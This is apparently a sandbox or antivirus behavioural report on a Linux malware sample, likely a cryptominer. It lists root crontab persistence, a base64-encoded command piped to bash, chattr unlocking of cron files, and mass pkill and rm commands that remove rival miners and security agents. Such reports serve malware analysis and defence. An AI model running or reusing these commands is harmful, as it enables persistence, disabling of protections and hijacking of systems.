Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
Malicious functions:
Removes itself
Launches itself as a daemon
Substitutes application name for:
- 5w3yoSsb
Launches processes:
- sh -c echo WVJyek9pOW41NW13VFFUaE9CSzRSZHVUbWQ4aFVneHg3aC8zLzFvVFBSQlNUUFlNUlVYRS9EVnUwVysvenk5YgpjaGF0dHIgLWkgL3RtcC8uWDExLXVuaXgKY2hhdHRyIC1SaSAvdG1wLy5YMTEtdW5peApbIC1mIC90bXAvLlgxMS11bml4IF0gJiYgcm0gLWYgL3RtcC8uWDExLXVuaXggClsgLWQgL3RtcC8uWDExLXVuaXggXSB8fCBta2RpciAtcCAvdG1wLy5YMTEtdW5peAo=|base64 -d|bash
- base64 -d
- bash
- YRrzOi9n55mwTQThOBK4RduTmd8hUgxx7h/3/1oTPRBSTPYMRUXE/DVu0W+/zy9b
- chattr -i /tmp/.X11-unix
- chattr -Ri /tmp/.X11-unix
- sh -c
- xargs chattr -i
- find /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/crontab /etc/cron.weekly
- chattr -i /etc/cron.d /etc/cron.d/.placeholder /etc/cron.daily /etc/cron.daily/passwd /etc/cron.daily/aptitude /etc/cron.daily/mlocate /etc/cron.daily/logrotate /etc/cron.daily/apt /etc/cron.daily/bsdmainutils /etc/cron.daily/.placeholder /etc/cron.daily/dpkg /etc/cron.daily/man-db /etc/cron.daily/exim4-base /etc/cron.hourly /etc/cron.hourly/.placeholder /etc/cron.monthly /etc/cron.monthly/.placeholder /etc/crontab /etc/cron.weekly /etc/cron.weekly/.placeholder /etc/cron.weekly/man-db
- find /var/spool/cron
- chattr -i /var/spool/cron /var/spool/cron/atjobs /var/spool/cron/atjobs/.SEQ /var/spool/cron/atspool /var/spool/cron/crontabs
- grep -ivE 70OXQG|Malware|Miner|VUses5|\-unix|\.\/oka|\.configrc|\.rsync|\/upd|aliyun|basht|bffbe|curl|jqu\.js|kill_virus|kpccv|malware|mazec|nullc|qcloud|rvlss|ryukd|systemd-init|th2ps|titanagent|tmp00|ucxin|unixdb|unixoa|wget|wlvly|xzfix
- crontab -l
- crontab -
- xargs rm -f
- cut -f 1 -d :
- grep -iRE 70OXQG|Malware|Miner|VUses5|\-unix|\.\/oka|\.configrc|\.rsync|\/upd|aliyun|basht|bffbe|curl|jqu\.js|kill_virus|kpccv|malware|mazec|nullc|qcloud|rvlss|ryukd|systemd-init|th2ps|titanagent|tmp00|ucxin|unixdb|unixoa|wget|wlvly|xzfix /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly
- rm -f /etc/cron.daily/mlocate /etc/cron.daily/mlocate /etc/cron.daily/apt
- rm -f /root/.kpccv.sh /root/.xzfix.sh /root/.th2ps.sh /root/.bffbe.sh /root/.rvlss.sh /root/.wlvly.sh /root/.ucxin.sh /root/.mazec.sh /root/.ryukd.sh /root/.unixdb.sh /root/.unixoa.sh /root/.aliyun.sh /root/.70OXQG.sh /root/.titanagent.sh /root/.VUses5.sh
- rm -f /opt/kpccv.sh /opt/xzfix.sh /opt/th2ps.sh /opt/bffbe.sh /opt/rvlss.sh /opt/wlvly.sh /opt/ucxin.sh /opt/mazec.sh /opt/ryukd.sh /opt/unixdb.sh /opt/unixoa.sh /opt/aliyun.sh /opt/70OXQG.sh /opt/titanagent.sh /opt/VUses5.sh
- rm -f /etc/cron.d/0kpccv /etc/cron.d/0xzfix /etc/cron.d/0th2ps /etc/cron.d/0bffbe /etc/cron.d/0rvlss /etc/cron.d/0wlvly /etc/cron.d/0ucxin /etc/cron.d/0mazec /etc/cron.d/0ryukd /etc/cron.d/0unixdb /etc/cron.d/0unixoa /etc/cron.d/0aliyun /etc/cron.d/070OXQG /etc/cron.d/0titanagent /etc/cron.d/0VUses5
- rm -f /root/killMiner.sh /opt/killMiner.sh /home/kill_virus.sh /root/fixMalwareTemp.sh /root/.killer
- pkill -9 -f ./cron|./oka|\-unix|/tmp/ddgs|/tmp/idk|/tmp/java|/tmp/keep|/tmp/udevs|/tmp/udk|/tmp/update.sh|/tmp/yarn|/usr/bin/netfs|8220|AliHids|AliYunDun|descargars|Donald|HT8s|Jonason|steasec|salt-store|salt-minion|SzdXM|X13-unix|X17-unix|\[stea\]|aegis_|AliYunDun|AliHids|AliHips|AliYunDunUpdatealiyun-service|azipl|bash64|bigd1ck|cr.sh|crloger|cronds|crun|cryptonight|curn|currn|ddgs|dhcleint|fs-manager|gf128mul|havegeds|httpdz|irqbalanced|java-c|kaudited|kdevtmpfsi|kerberods|khugepageds|kinsing|kintegrityds|kpsmouseds|kswaped|kthreadds|kthrotlds|kw0|kworkerds|kworkre|kwroker|lsof|lopata|Macron|mewrs|migrations|miner|mmm|mr.sh|muhsti|mygit|netdns|networkservice|orgfs|pamdicks|pastebin|qW3xT|qwefdas|rctlcli|sleep|stratum|sustes|sustse|sysguard|sysguerd|systeamd|systemd-network|sysupdate|sysupdata|t00ls|thisxxs|Trump|update.sh|vTtHH|watchbog|watchbug|watchog|wipefs|wnTKYg|x3Wq|xig|[rkmodule] [bash][PPID:0x2d0] [bash][PID:0x2e4] do_filp_open. Filename: \"/usr/bin/pkill\
- netstat -antp
- grep -E
- cut -d/ -f1
- xargs kill -9
- awk {print $NF}
- kill -9
- ss -antp
- awk -
- sed s/pid=//g
Kills the following processes:
- cron
- run.sh
Performs operations with the file system:
Modifies file access rights:
- /var/spool/cron/crontabs/tmp.FU8lFK
Creates or modifies files:
- /tmp/.X11-unix/01
- /var/spool/cron/crontabs/tmp.FU8lFK
Deletes files:
- /etc/cron.daily/mlocate
- /etc/cron.daily/apt
- /root/.kpccv.sh
- /root/.xzfix.sh
- /root/.th2ps.sh
- /root/.bffbe.sh
- /root/.rvlss.sh
- /root/.wlvly.sh
- /root/.ucxin.sh
- /root/.mazec.sh
- /root/.ryukd.sh
- /root/.unixdb.sh
- /root/.unixoa.sh
- /root/.aliyun.sh
- /root/.70OXQG.sh
- /root/.titanagent.sh
- /root/.VUses5.sh
- /opt/kpccv.sh
- /opt/xzfix.sh
- /opt/th2ps.sh
- /opt/bffbe.sh
- /opt/rvlss.sh
- /opt/wlvly.sh
- /opt/ucxin.sh
- /opt/mazec.sh
- /opt/ryukd.sh
- /opt/unixdb.sh
- /opt/unixoa.sh
- /opt/aliyun.sh
- /opt/70OXQG.sh
- /opt/titanagent.sh
- /opt/VUses5.sh
- /etc/cron.d/0kpccv
- /etc/cron.d/0xzfix
- /etc/cron.d/0th2ps
- /etc/cron.d/0bffbe
- /etc/cron.d/0rvlss
- /etc/cron.d/0wlvly
- /etc/cron.d/0ucxin
- /etc/cron.d/0mazec
- /etc/cron.d/0ryukd
- /etc/cron.d/0unixdb
- /etc/cron.d/0unixoa
- /etc/cron.d/0aliyun
- /etc/cron.d/070OXQG
- /etc/cron.d/0titanagent
- /etc/cron.d/0VUses5
- /root/killMiner.sh
- /opt/killMiner.sh
- /home/kill_virus.sh
- /root/fixMalwareTemp.sh
- /root/.killer
Locks files:
- /tmp/.X11-unix/01
Other:
Collects CPU information
Collects RAM information
